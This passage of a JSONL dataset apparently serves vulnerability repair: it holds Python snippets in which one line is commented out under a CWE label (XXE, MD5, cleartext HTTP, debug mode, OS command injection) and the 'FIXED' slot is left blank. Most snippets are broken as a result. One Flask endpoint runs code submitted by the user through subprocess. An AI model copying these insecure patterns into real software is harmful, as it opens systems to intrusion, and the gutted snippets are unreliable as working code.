tafsirs=\"ar_baghawy\") == rq.get(\n \"http://api.quran.com:3000/api/v3/chapters/1/verses/1/tafsirs?tafsirs=ar_baghawy\").json()\n\ndef test_search():\n assert qur.search(q=\"imran\", size=20, page=0, language=\"en\") == rq.get(\n \"http://api.quran.com:3000/api/v3/search?q=imran&size=20&page=0&language=en\").json()\n\n\nprint(test_get_chapters())\n"} {"language": "python", "text": "from __future__ import absolute_import, division, unicode_literals\n\n\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# from xml.sax.xmlreader import AttributesNSImpl\n# FIXED: \n\n \n\n\nfrom ..constants import adjustForeignAttributes, unadjustForeignAttributes\n\nprefix_mapping = {}\nfor prefix, localName, namespace in adjustForeignAttributes.values():\n if prefix is not None:\n prefix_mapping[prefix] = namespace\n\n\ndef to_sax(walker, handler):\n \"\"\"Call SAX-like content handler based on treewalker walker\"\"\"\n handler.startDocument()\n for prefix, namespace in prefix_mapping.items():\n handler.startPrefixMapping(prefix, namespace)\n\n for token in walker:\n type = token[\"type\"]\n if type == \"Doctype\":\n continue\n elif type in (\"StartTag\", \"EmptyTag\"):\n attrs = AttributesNSImpl(token[\"data\"],\n unadjustForeignAttributes)\n handler.startElementNS((token[\"namespace\"], token[\"name\"]),\n token[\"name\"],\n attrs)\n if type == \"EmptyTag\":\n handler.endElementNS((token[\"namespace\"], token[\"name\"]),\n token[\"name\"])\n elif type == \"EndTag\":\n handler.endElementNS((token[\"namespace\"], token[\"name\"]),\n token[\"name\"])\n elif type in (\"Characters\", \"SpaceCharacters\"):\n handler.characters(token[\"data\"])\n elif type == \"Comment\":\n pass\n else:\n assert False, \"Unknown token type\"\n\n for prefix, namespace in prefix_mapping.items():\n handler.endPrefixMapping(prefix)\n handler.endDocument()\n"} {"language": "python", "text": "import charming as app\n\nimg = None\n\n\n@app.setup\ndef setup():\n global img\n app.no_cursor()\n # Set double mode to draw image better\n app.full_screen(app.DOUBLE)\n\n # Load image in setup() only once\n img = app.load_image('./images/test.png')\n\n\n@app.draw\ndef draw():\n size = 8\n\n app.translate(size, size)\n with app.open_context():\n app.image_mode(app.CORNER) # default\n app.image(img, 0, 0, size, size)\n\n with app.open_context():\n app.translate(size * 2, 0)\n app.image_mode(app.CENTER)\n app.image(img, 0, 0, size, size)\n\n with app.open_context():\n app.translate(size * 4, 0)\n app.image_mode(app.RADIUS)\n app.image(img, 0, 0, size, size)\n\n with app.open_context():\n app.translate(size * 6, 0)\n app.image_mode(app.CORNERS)\n app.image(img, 2, 2, size, size)\n\n app.translate(0, size * 2 + 2)\n with app.open_context():\n app.image_mode(app.CORNER) # default\n app.translate(size, 0)\n app.rotate(app.PI / 3)\n app.tint(' ')\n app.image(img, 0, 0, size, size)\n\n with app.open_context():\n app.translate(size * 3, 0)\n app.image_mode(app.CENTER)\n app.scale(1.5)\n app.tint('@', app.MAGENTA)\n app.image(img, 0, 0, size, size)\n\n with app.open_context():\n app.translate(size * 5, 0)\n app.shear_x(app.QUARTER_PI)\n app.image_mode(app.CORNERS)\n app.tint('Q', app.RED)\n app.image(img, 2, 2, size, size)\n\n app.no_loop()\n\n\n\n# BUG: CWE-668: Exposure of Resource to Wrong Sphere\n# app.run()\n# FIXED: \n\n \n\n"} {"language": "python", "text": "#!/usr/bin/env python\n\nimport jinja2\nimport os\n\nimport mkdocs.build\nfrom mkdocs.build import build\nfrom mkdocs.config import load_config\n\nif __name__ == \"__main__\":\n # Build documentation\n config = load_config(options=None)\n build(config)\n\n # Load templates\n \n# BUG: CWE-116: Improper Encoding or Escaping of Output\n# template_env = jinja2.Environment(loader = jinja2.FileSystemLoader(os.path.join(os.path.dirname(__file__), 'theme')))\n# FIXED: \n\n \n\n index_template = template_env.get_template('home.html')\n community_template = template_env.get_template('community.html')\n\n # Home page\n with open('site/index.html', 'w') as f:\n f.write(index_template.render(\n page=\"home\"\n ))\n\n # Community page\n with open('site/community.html', 'w') as f:\n f.write(community_template.render(\n page=\"community\"\n ))\n"} {"language": "python", "text": "# $Id$\n# simple elementtree benchmark program\n\nfrom elementtree import XMLTreeBuilder, SimpleXMLTreeBuilder\nfrom elementtree import SgmlopXMLTreeBuilder\n\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# from xml.dom import minidom\n# FIXED: \n\n \n\n\nimport sys, time\n\ntry:\n file = sys.argv[1]\nexcept IndexError:\n file = \"hamlet.xml\"\n\ndef benchmark(file, builder_module):\n source = open(file, \"rb\")\n t0 = time.time()\n parser = builder_module.TreeBuilder()\n while 1:\n data = source.read(32768)\n if not data:\n break\n parser.feed(data)\n tree = parser.close()\n t1 = time.time()\n print \"%s: %d nodes read in %.3f seconds\" % (\n builder_module.__name__, len(tree.getiterator()), t1-t0\n )\n raw_input(\"press return to continue...\")\n del tree\n\ndef benchmark_minidom(file):\n t0 = time.time()\n dom = minidom.parse(file)\n t1 = time.time()\n print \"minidom tree read in %.3f seconds\" % (t1-t0)\n raw_input(\"press return to continue...\")\n del dom\n\nbenchmark(file, XMLTreeBuilder)\nbenchmark(file, SimpleXMLTreeBuilder) # use xmllib\ntry:\n benchmark(file, SgmlopXMLTreeBuilder) # use sgmlop\nexcept RuntimeError, v:\n print \"=== SgmlopXMLTreeBuilder not available (%s)\" % v\nbenchmark_minidom(file)\n"} {"language": "python", "text": "# Stubs for xml.etree.ElementInclude (Python 3.4)\n\nfrom typing import Union, Optional, Callable\n\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# from xml.etree.ElementTree import Element\n# FIXED: \n\n \n\n\nXINCLUDE = ... # type: str\nXINCLUDE_INCLUDE = ... # type: str\nXINCLUDE_FALLBACK = ... # type: str\n\nclass FatalIncludeError(SyntaxError): ...\n\ndef default_loader(href: Union[str, bytes, int], parse: str, encoding: Optional[str]=...) -> Union[str, Element]: ...\n\n# TODO: loader is of type default_loader ie it takes a callable that has the\n# same signature as default_loader. But default_loader has a keyword argument\n# Which can't be represented using Callable...\ndef include(elem: Element, loader: Callable[..., Union[str, Element]]=...) -> None: ...\n"} {"language": "python", "text": "from __future__ import absolute_import, division, unicode_literals\n\n\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# from xml.dom.pulldom import START_ELEMENT, END_ELEMENT, \\ COMMENT, IGNORABLE_WHITESPACE, CHARACTERS\n# FIXED: \n\n \n\n\nfrom . import _base\n\nfrom ..constants import voidElements\n\n\nclass TreeWalker(_base.TreeWalker):\n def __iter__(self):\n ignore_until = None\n previous = None\n for event in self.tree:\n if previous is not None and \\\n (ignore_until is None or previous[1] is ignore_until):\n if previous[1] is ignore_until:\n ignore_until = None\n for token in self.tokens(previous, event):\n yield token\n if token[\"type\"] == \"EmptyTag\":\n ignore_until = previous[1]\n previous = event\n if ignore_until is None or previous[1] is ignore_until:\n for token in self.tokens(previous, None):\n yield token\n elif ignore_until is not None:\n raise ValueError(\"Illformed DOM event stream: void element without END_ELEMENT\")\n\n def tokens(self, event, next):\n type, node = event\n if type == START_ELEMENT:\n name = node.nodeName\n namespace = node.namespaceURI\n attrs = {}\n for attr in list(node.attributes.keys()):\n attr = node.getAttributeNode(attr)\n attrs[(attr.namespaceURI, attr.localName)] = attr.value\n if name in voidElements:\n for token in self.emptyTag(namespace,\n name,\n attrs,\n not next or next[1] is not node):\n yield token\n else:\n yield self.startTag(namespace, name, attrs)\n\n elif type == END_ELEMENT:\n name = node.nodeName\n namespace = node.namespaceURI\n if name not in voidElements:\n yield self.endTag(namespace, name)\n\n elif type == COMMENT:\n yield self.comment(node.nodeValue)\n\n elif type in (IGNORABLE_WHITESPACE, CHARACTERS):\n for token in self.text(node.nodeValue):\n yield token\n\n else:\n yield self.unknown(type)\n"} {"language": "python", "text": "# Deprecated alias for xml.etree.ElementTree\n\n\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# from xml.etree.ElementTree import *\n# FIXED: \n\n \n\n"} {"language": "python", "text": "#!/usr/bin/env python3\n\n\"\"\"Example Twilio SMS chatbot for RiveScript.\n\nSee the accompanying README.md for instructions.\"\"\"\n\n# Manipulate sys.path to be able to import rivescript from this git repo.\n# Otherwise you'd have to `pip install rivescript`\nimport os\nimport sys\nsys.path.append(os.path.join(os.path.dirname(__file__), \"..\", \"..\"))\n\nfrom flask import Flask, request, redirect\nfrom rivescript import RiveScript\nimport twilio.twiml\n\n# Set up the RiveScript bot. This loads the replies from \"../brain\", or,\n# the \"brain\" folder in the \"eg\" folder of this git repository.\nbot = RiveScript()\nbot.load_directory(\n os.path.join(os.path.dirname(__file__), \"..\", \"brain\")\n)\nbot.sort_replies()\n\napp = Flask(__name__)\n\n@app.route(\"/twilio\", methods=[\"GET\", \"POST\"])\ndef hello_rivescript():\n \"\"\"Receive an inbound SMS and send a reply from RiveScript.\"\"\"\n\n from_number = request.values.get(\"From\", \"unknown\")\n message = request.values.get(\"Body\")\n reply = \"(Internal error)\"\n\n # Get a reply from RiveScript.\n if message:\n reply = bot.reply(from_number, message)\n\n # Send the response.\n resp = twilio.twiml.Response()\n resp.message(reply)\n return str(resp)\n\nif __name__ == \"__main__\":\n \n# BUG: CWE-489: Active Debug Code\n# app.run(host='0.0.0.0', debug=True)\n# FIXED: \n\n \n\n"} {"language": "python", "text": "import hashlib\nimport uhashlib\n\n\n\n# BUG: CWE-327: Use of a Broken or Risky Cryptographic Algorithm\n# md5 = hashlib.md5(b\"foo\")\n# FIXED: \n\n \n\numd5 = uhashlib.md5(b\"foo\")\nmd5.update(b\"bar\")\numd5.update(b\"bar\")\nassert md5.digest() == umd5.digest()\n"} {"language": "python", "text": "from gensim.summarization import summarize\nfrom bs4 import BeautifulSoup\nimport requests\n\n#\n# This recipe uses automatic computer science Paper generation tool from mit.edu\n# You can generate your own paper by visiting https://pdos.csail.mit.edu/archive/scigen/\n# and click generate.\n#\n# This example needs large amount of text that needs to be available for summary.\n# So, we are using this paper generation tool and extracting the 'Introduction' section\n# to do the summary analysis.\n#\n\nurls = {\n 'Daff: Unproven Unification of Suffix Trees and Redundancy': 'http://scigen.csail.mit.edu/scicache/610/scimakelatex.21945.none.html',\n 'CausticIslet: Exploration of Rasterization': 'http://scigen.csail.mit.edu/scicache/790/scimakelatex.1499.none.html'\n}\n\nfor key in urls.keys():\n url = urls[key]\n \n# BUG: CWE-319: Cleartext Transmission of Sensitive Information\n# r = requests.get(url)\n# FIXED: \n\n \n\n soup = BeautifulSoup(r.text, 'html.parser')\n data = soup.get_text()\n pos1 = data.find(\"1\u00a0\u00a0Introduction\") + len(\"1\u00a0\u00a0Introduction\")\n pos2 = data.find(\"2\u00a0\u00a0Related Work\")\n text = data[pos1:pos2].strip()\n print(\"PAPER URL: {}\".format(url))\n print(\"TITLE: {}\".format(key))\n print(\"GENERATED SUMMARY: {}\".format(summarize(text)))\n print()\n"} {"language": "python", "text": "import MySQLdb\nimport bcrypt\nimport psycopg2\nimport sys\nimport hiredis\nimport platform\n\n\nfrom flask import Flask\napp = Flask(__name__)\n\nport = int(sys.argv[1])\n\n\n@app.route(\"/\")\ndef hello():\n return \"Hello World!\"\n\n@app.route(\"/version\")\ndef version():\n return platform.python_version()\n\n@app.route(\"/unicode\")\ndef unicode():\n return \"max unicode: %d\" % sys.maxunicode\n\n@app.route(\"/bcrypt\")\ndef test_bcrypt():\n return bcrypt.hashpw(\"Hello, bcrypt\".encode('utf-8'), bcrypt.gensalt(prefix=b\"2a\"))\n\n\n@app.route(\"/mysql\")\ndef test_mysql():\n try:\n MySQLdb.connect(passwd=\"moonpie\", db=\"testing\")\n except MySQLdb.OperationalError as e:\n return e.args[1]\n\n\n@app.route(\"/pg\")\ndef test_pg():\n try:\n psycopg2.connect(\"dbname=test user=postgres\")\n except psycopg2.OperationalError as e:\n return e.args[0]\n\n\n@app.route(\"/redis\")\ndef test_redis():\n reader = hiredis.Reader()\n reader.feed(\"$5\\r\\nHello\\r\\n\") \n return reader.gets()\n\n\napp.debug = True\n\nif __name__ == \"__main__\":\n \n# BUG: CWE-668: Exposure of Resource to Wrong Sphere\n# app.run(host='0.0.0.0', port=port)\n# FIXED: \n\n \n\n"} {"language": "python", "text": "from flask import Flask, request\nimport subprocess\nimport boto3\n\napp = Flask(__name__)\n\n@app.route(\"/\")\n\ndef hello():\n s3_client = boto3.client('s3')\n print(s3_client)\n return \"Hello, World!\"\n\n@app.route('/execute', methods=['POST'])\ndef execute():\n with open('runtime.py', 'w') as f:\n \n# BUG: CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')\n# f.write(request.values.get('code'))\n# FIXED: \n\n \n\n return subprocess.check_output([\"python\", \"runtime.py\"])\n\napp.debug=True\n"} {"language": "python", "text": "''' \nTemplates are html files.\nInorder for flask to render them , they must be stored inside a folder templates\n'''\n\nfrom flask import Flask, render_template #? render_template is used to render html files\napp = Flask(__name__)\n\n\n@app.route('/')\n@app.route('/index')\ndef index():\n return render_template('index.html')\n\n\nif __name__ == \"__main__\":\n \n# BUG: CWE-489: Active Debug Code\n# app.run(debug=True)\n# FIXED: \n\n \n "} {"language": "python", "text": "# Wrapper module for ElementTree\n\n\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# from xml.etree.ElementTree import *\n# FIXED: \n\n \n\n"} {"language": "python", "text": "# This Python file uses the following encoding: utf-8\n\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nfrom pysbolgraph.SBOL2Graph import SBOL2Graph\nfrom pysbolgraph.terms import Biopax, SBOL2\nfrom glob import glob\nimport json\nimport os\nfrom sys import version_info\nimport requests\n\n\ndef load(f):\n file = open(f, 'r')\n s = file.read()\n file.close()\n return s\n\n\ndef mkdir_p_and_open(filename):\n if version_info > (3, 0):\n os.makedirs(filename.rpartition('/')[0], exist_ok=True)\n return open(filename, \"wb+\")\n else:\n try:\n os.makedirs(filename.rpartition('/')[0])\n return open(filename, \"wb+\")\n except OSError as e:\n if e.errno == os.errno.EEXIST:\n return open(filename, \"wb+\")\n else:\n raise e\n\n\nfiles = glob('SBOLTestSuite/SBOL2/*.xml')\n\nfor file in files:\n print('\ud83d\udc0d\ud83d\udc0d\ud83d\udc0d ' + file)\n g = SBOL2Graph()\n g.load(file)\n\n new_filename = \"out/\" + file\n\n f = mkdir_p_and_open(new_filename)\n f.write(g.serialize_xml())\n f.close()\n\n request = {\n 'options': {\n 'language': 'SBOL2',\n 'test_equality': True,\n 'check_uri_compliance': False,\n 'check_completeness': False,\n 'check_best_practices': False,\n 'continue_after_first_error': True,\n 'provide_detailed_stack_trace': False,\n 'insert_type': False,\n 'uri_prefix': 'http://foo/',\n 'main_file_name': 'main file',\n 'diff_file_name': 'comparison file',\n },\n 'return_file': False,\n 'main_file': load(file),\n 'diff_file': load(new_filename)\n }\n\n resp = requests.post(\n \n# BUG: CWE-319: Cleartext Transmission of Sensitive Information\n# \"http://www.async.ece.utah.edu/validate/\", json=request)\n# FIXED: \n\n \n\n\n r = resp.json()\n\n if r['valid']:\n print('\u2705 Valid')\n else:\n print('\u274c NOT valid')\n\n for e in r['errors']:\n if \"Namespace\" in e:\n continue\n if len(e.strip()) > 0:\n print('\u26a0\ufe0f ' + e)\n"} {"language": "python", "text": "# Copyright 2008 Thomas Quemard\n#\n# Paste-It is free software; you can redistribute it and/or modify it\n# under the terms of the GNU General Public License as published\n# by the Free Software Foundation; either version 3.0, or (at your option)\n# any later version.\n#\n# Paste-It is distributed in the hope that it will be useful, but\n# WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY\n# or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public\n# License for more details.\n\n\nfrom google.appengine.api import users\nimport hashlib\n\nimport app\nimport app.model\n\n\nclass User:\n def refresh (self):\n guser = users.get_current_user()\n self.db_user = None\n self.id = None\n self.is_google_admin = False\n self.is_logged_in = False\n self.url = \"\"\n\n if guser:\n self.google_id = guser.user_id()\n self.google_email = guser.email()\n \n# BUG: CWE-327: Use of a Broken or Risky Cryptographic Algorithm\n# self.gravatar_id = hashlib.md5(self.google_email).hexdigest()\n# FIXED: \n\n \n\n self.is_logged_in_google = True\n self.is_google_admin = users.is_current_user_admin()\n else:\n self.google_id = \"\"\n self.google_email = \"\"\n self.gravatar_id = \"\"\n self.is_logged_in_google = False\n\n if self.google_id != \"\":\n qry_user = app.model.User.all()\n qry_user.filter(\"google_id =\", self.google_id)\n self.db_user = qry_user.get()\n if self.db_user:\n self.is_logged_in = True\n self.id = self.db_user.id\n self.paste_count = self.db_user.paste_count\n self.url = app.url(\"users/%s\", self.id)\n\n\n\n_user = User()\n\ndef get_current_user ():\n return _user\n"} {"language": "python", "text": "from __future__ import absolute_import, division, unicode_literals\n\n\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# from xml.dom import Node\n# FIXED: \n\n \n\n\nfrom . import base\n\n\nclass TreeWalker(base.NonRecursiveTreeWalker):\n def getNodeDetails(self, node):\n if node.nodeType == Node.DOCUMENT_TYPE_NODE:\n return base.DOCTYPE, node.name, node.publicId, node.systemId\n\n elif node.nodeType in (Node.TEXT_NODE, Node.CDATA_SECTION_NODE):\n return base.TEXT, node.nodeValue\n\n elif node.nodeType == Node.ELEMENT_NODE:\n attrs = {}\n for attr in list(node.attributes.keys()):\n attr = node.getAttributeNode(attr)\n if attr.namespaceURI:\n attrs[(attr.namespaceURI, attr.localName)] = attr.value\n else:\n attrs[(None, attr.name)] = attr.value\n return (base.ELEMENT, node.namespaceURI, node.nodeName,\n attrs, node.hasChildNodes())\n\n elif node.nodeType == Node.COMMENT_NODE:\n return base.COMMENT, node.nodeValue\n\n elif node.nodeType in (Node.DOCUMENT_NODE, Node.DOCUMENT_FRAGMENT_NODE):\n return (base.DOCUMENT,)\n\n else:\n return base.UNKNOWN, node.nodeType\n\n def getFirstChild(self, node):\n return node.firstChild\n\n def getNextSibling(self, node):\n return node.nextSibling\n\n def getParentNode(self, node):\n return node.parentNode\n"} {"language": "python", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport os\n#import sys\n#import subprocess\n#from flask_script import Manager, Shell, Server\n\nfrom modori.app import create_app\nfrom modori.settings import DevConfig, ProdConfig\n\nif os.environ.get(\"modori_ENV\") == 'prod':\n app = create_app(ProdConfig)\nelse:\n app = create_app(DevConfig)\n\n#HERE = os.path.abspath(os.path.dirname(__file__))\n#TEST_PATH = os.path.join(HERE, 'tests')\n\n#app = Flask(app)\n\n#def _make_context():\n# \"\"\"Return context dict for a shell session so you can access\n# app, db, and the User model by default.\n# \"\"\"\n# return {'app': app, 'db': db, 'User': User}\n\n#@manager.command\n#def test():\n# \"\"\"Run the tests.\"\"\"\n# import pytest\n# exit_code = pytest.main([TEST_PATH, '--verbose'])\n# return exit_code\n#\n#manager.add_command('server', Server())\n#manager.add_command('shell', Shell(make_context=_make_context))\n\nif __name__ == '__main__':\n \n# BUG: CWE-668: Exposure of Resource to Wrong Sphere\n# app.run(host='0.0.0.0')\n# FIXED: \n\n \n\n"} {"language": "python", "text": "from flask import Flask\n\napp = Flask(__name__)\n\n# Setting up the home\n@app.route('/')\n@app.route('/home')\ndef hello():\n return \"Hello world\"\n\n#! Dynamic URL\n\n# Getting the datas from url \n@app.route('/home/')\ndef hello_name(name):\n return \"Hi, \" + name\n\n# Getting multiple data from url\n@app.route('/home//')\ndef get_id(name,id):\n return \"welcome \" + name + \" id : \" + str(id) #! you cant concantinate int and string , thats why we converted the int\n\n\n\nif __name__ == \"__main__\":\n \n# BUG: CWE-489: Active Debug Code\n# app.run(debug=True)\n# FIXED: \n\n \n"} {"language": "python", "text": "from flask import Flask, jsonify\nimport sys\nsys.path.append(\"/Users/slavad/dev/python-microprofile\")\nimport spec.health.microhealth.api as health_api\n\n# sys.path.append(\"/Users/mottidadison/work/fuse_022020/python-microprofile/spec/graphql/\")\n# import graph\n\napp = Flask(__name__)\n\n\n@app.route('/')\ndef hello_whale():\n app.logger.info('hello_whale')\n return 'Whale, Hello there!'\n\n\n@app.route('/health')\ndef get_health():\n return health_api.get_health()\n\n\n@app.route('/health/ready')\ndef get_health_ready():\n return health_api.get_health_ready()\n\n\n@app.route('/health/live')\ndef get_health_live():\n return health_api.get_health_live()\n\n\nif __name__ == '__main__':\n \n# BUG: CWE-668: Exposure of Resource to Wrong Sphere\n# app.run(debug=True, host='0.0.0.0', port=8080)\n# FIXED: \n\n \n\n"} {"language": "python", "text": "##############################################################################\n#\n# Copyright (c) 2005 Zope Corporation and Contributors.\n# All Rights Reserved.\n#\n# This software is subject to the provisions of the Zope Public License,\n# Version 2.1 (ZPL). A copy of the ZPL should accompany this distribution.\n# THIS SOFTWARE IS PROVIDED \"AS IS\" AND ANY AND ALL EXPRESS OR IMPLIED\n# WARRANTIES ARE DISCLAIMED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n# WARRANTIES OF TITLE, MERCHANTABILITY, AGAINST INFRINGEMENT, AND FITNESS\n# FOR A PARTICULAR PURPOSE.\n#\n##############################################################################\n\"\"\"Miscellaneous utilities.\"\"\"\n\n__all__ = [\"rmtree_force\",\n ]\n\ndef rmtree_force(path):\n \"\"\"Like shutil.rmtree(path), but deletes read-only files too.\n\n This is an important distinction on Windows, where a file marked\n read-only cannot be deleted by os.remove().\n \"\"\"\n\n import shutil\n import os\n\n if not os.path.exists(path):\n return\n\n # Python 2.4's rmtree has a sufficient error hook, but 2.3's does not.\n # So, make everything readable first by walking the tree.\n for root, dirs, files in os.walk(path):\n for fname in files:\n \n# BUG: CWE-276: Incorrect Default Permissions\n# os.chmod(os.path.join(root, fname), 0666)\n# FIXED: \n\n \n\n\n shutil.rmtree(path)\n"} {"language": "python", "text": "from __future__ import absolute_import, division, unicode_literals\n\n\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# from xml.dom import Node\n# FIXED: \n\n \n\n\nimport gettext\n_ = gettext.gettext\n\nfrom . import _base\n\n\nclass TreeWalker(_base.NonRecursiveTreeWalker):\n def getNodeDetails(self, node):\n if node.nodeType == Node.DOCUMENT_TYPE_NODE:\n return _base.DOCTYPE, node.name, node.publicId, node.systemId\n\n elif node.nodeType in (Node.TEXT_NODE, Node.CDATA_SECTION_NODE):\n return _base.TEXT, node.nodeValue\n\n elif node.nodeType == Node.ELEMENT_NODE:\n attrs = {}\n for attr in list(node.attributes.keys()):\n attr = node.getAttributeNode(attr)\n if attr.namespaceURI:\n attrs[(attr.namespaceURI, attr.localName)] = attr.value\n else:\n attrs[(None, attr.name)] = attr.value\n return (_base.ELEMENT, node.namespaceURI, node.nodeName,\n attrs, node.hasChildNodes())\n\n elif node.nodeType == Node.COMMENT_NODE:\n return _base.COMMENT, node.nodeValue\n\n elif node.nodeType in (Node.DOCUMENT_NODE, Node.DOCUMENT_FRAGMENT_NODE):\n return (_base.DOCUMENT,)\n\n else:\n return _base.UNKNOWN, node.nodeType\n\n def getFirstChild(self, node):\n return node.firstChild\n\n def getNextSibling(self, node):\n return node.nextSibling\n\n def getParentNode(self, node):\n return node.parentNode\n"} {"language": "python", "text": "#!/usr/bin/env python\n# Python Network Programming Cookbook, Second Edition -- Chapter - 1\n# This program is optimized for Python 2.7.12 and Python 3.5.2.\n# It may run on any other version with/without modifications.\n\nimport socket\nimport sys\n\n\ndef reuse_socket_addr():\n sock = socket.socket( socket.AF_INET, socket.SOCK_STREAM )\n\n # Get the old state of the SO_REUSEADDR option\n old_state = sock.getsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR )\n print (\"Old sock state: %s\" %old_state)\n\n # Enable the SO_REUSEADDR option\n sock.setsockopt( socket.SOL_SOCKET, socket.SO_REUSEADDR, 1 )\n new_state = sock.getsockopt( socket.SOL_SOCKET, socket.SO_REUSEADDR )\n print (\"New sock state: %s\" %new_state)\n\n local_port = 8282\n \n \n# BUG: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor\n# srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM) srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) srv.bind( ('', local_port) )\n# FIXED: \n\n \n\n srv.listen(1)\n print (\"Listening on port: %s \" %local_port)\n while True:\n try:\n connection, addr = srv.accept()\n print ('Connected by %s:%s' % (addr[0], addr[1]))\n except KeyboardInterrupt:\n break\n except socket.error as msg:\n print ('%s' % (msg,))\n\n\nif __name__ == '__main__':\n reuse_socket_addr()\n"} {"language": "python", "text": "#!python\n# ***** BEGIN LICENSE BLOCK *****\n# Version: MPL 1.1/GPL 2.0/LGPL 2.1\n# \n# The contents of this file are subject to the Mozilla Public License\n# Version 1.1 (the \"License\"); you may not use this file except in\n# compliance with the License. You may obtain a copy of the License at\n# http://www.mozilla.org/MPL/\n# \n# Software distributed under the License is distributed on an \"AS IS\"\n# basis, WITHOUT WARRANTY OF ANY KIND, either express or implied. See the\n# License for the specific language governing rights and limitations\n# under the License.\n# \n# The Original Code is Komodo code.\n# \n# The Initial Developer of the Original Code is ActiveState Software Inc.\n# Portions created by ActiveState Software Inc are Copyright (C) 2000-2007\n# ActiveState Software Inc. All Rights Reserved.\n# \n# Contributor(s):\n# ActiveState Software Inc\n# \n# Alternatively, the contents of this file may be used under the terms of\n# either the GNU General Public License Version 2 or later (the \"GPL\"), or\n# the GNU Lesser General Public License Version 2.1 or later (the \"LGPL\"),\n# in which case the provisions of the GPL or the LGPL are applicable instead\n# of those above. If you wish to allow use of your version of this file only\n# under the terms of either the GPL or the LGPL, and not to allow others to\n# use your version of this file under the terms of the MPL, indicate your\n# decision by deleting the provisions above and replace them with the notice\n# and other provisions required by the GPL or the LGPL. If you do not delete\n# the provisions above, a recipient may use your version of this file under\n# the terms of any one of the MPL, the GPL or the LGPL.\n# \n# ***** END LICENSE BLOCK *****\n\n#\n# USAGE: python run-in-dir.py %1:d \n#\n# Run the given invocation string in the given directory.\n#\n# Examples:\n# python run-in-dir.py build\\debug\\Rx python c:\\bin\\make-rx-module.py\n\nif __name__ == '__main__':\n import sys, os\n targetDir, invocation = sys.argv[1], \" \".join(sys.argv[2:])\n print \"cd %s\" % targetDir\n os.chdir(targetDir)\n print invocation\n \n# BUG: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')\n# retval = os.system(invocation)\n# FIXED: \n\n \n\n if not sys.platform.startswith(\"win\"):\n retval = retval >> 8\n sys.exit(retval)\n"} {"language": "python", "text": "# -*- coding: utf-8 -*-\n#\n# ===================================================================\n# The contents of this file are dedicated to the public domain. To\n# the extent that dedication to the public domain is not available,\n# everyone is granted a worldwide, perpetual, royalty-free,\n# non-exclusive license to exercise all rights associated with the\n# contents of this file for any purpose whatsoever.\n# No rights are reserved.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS\n# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN\n# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\n# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\n# ===================================================================\n\n# Just use the MD5 module from the Python standard library\n\n__revision__ = \"$Id$\"\n\n__all__ = ['new', 'digest_size']\n\ntry:\n # The md5 module is deprecated in Python 2.6, so use hashlib when possible.\n import hashlib\n def new(data=\"\"):\n \n# BUG: CWE-327: Use of a Broken or Risky Cryptographic Algorithm\n# return hashlib.md5(data)\n# FIXED: \n\n \n\n digest_size = new().digest_size\n\nexcept ImportError:\n from md5 import *\n\n import md5\n if hasattr(md5, 'digestsize'):\n digest_size = digestsize\n del digestsize\n del md5\n\n"} {"language": "python", "text": "#!/usr/bin/env python2\n\nimport requests\nimport json\n\nurl='http://172.16.1.142/ins'\nswitchuser='cisco'\nswitchpassword='cisco'\n\nmyheaders={'content-type':'application/json-rpc'}\npayload=[\n {\n \"jsonrpc\": \"2.0\",\n \"method\": \"cli\",\n \"params\": {\n \"cmd\": \"show version\",\n \"version\": 1.2\n },\n \"id\": 1\n }\n]\n\n# BUG: CWE-319: Cleartext Transmission of Sensitive Information\n# response = requests.post(url,data=json.dumps(payload), headers=myheaders,auth=(switchuser,switchpassword)).json()\n# FIXED: \n\n \n\n\nversion = response['result']['body']['sys_ver_str']\n\nprint json.dumps({\"version\": version})\n"} {"language": "python", "text": "from typing import Any, List, NoReturn, Optional, Text, Union, IO\n\nimport xml.sax\nfrom xml.sax.xmlreader import InputSource, Locator\n\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# from xml.sax.handler import ContentHandler, ErrorHandler\n# FIXED: \n\n \n\n\nclass SAXException(Exception):\n def __init__(self, msg: str, exception: Optional[Exception] = ...) -> None: ...\n def getMessage(self) -> str: ...\n def getException(self) -> Exception: ...\n def __getitem__(self, ix: Any) -> NoReturn: ...\n\nclass SAXParseException(SAXException):\n def __init__(self, msg: str, exception: Exception, locator: Locator) -> None: ...\n def getColumnNumber(self) -> int: ...\n def getLineNumber(self) -> int: ...\n def getPublicId(self): ...\n def getSystemId(self): ...\n\nclass SAXNotRecognizedException(SAXException): ...\nclass SAXNotSupportedException(SAXException): ...\nclass SAXReaderNotAvailable(SAXNotSupportedException): ...\n\ndefault_parser_list = ... # type: List[str]\n\ndef make_parser(parser_list: List[str] = ...) -> xml.sax.xmlreader.XMLReader: ...\n\ndef parse(source: Union[str, IO[str]], handler: xml.sax.handler.ContentHandler,\n errorHandler: xml.sax.handler.ErrorHandler = ...) -> None: ...\n\ndef parseString(string: Union[bytes, Text], handler: xml.sax.handler.ContentHandler,\n errorHandler: 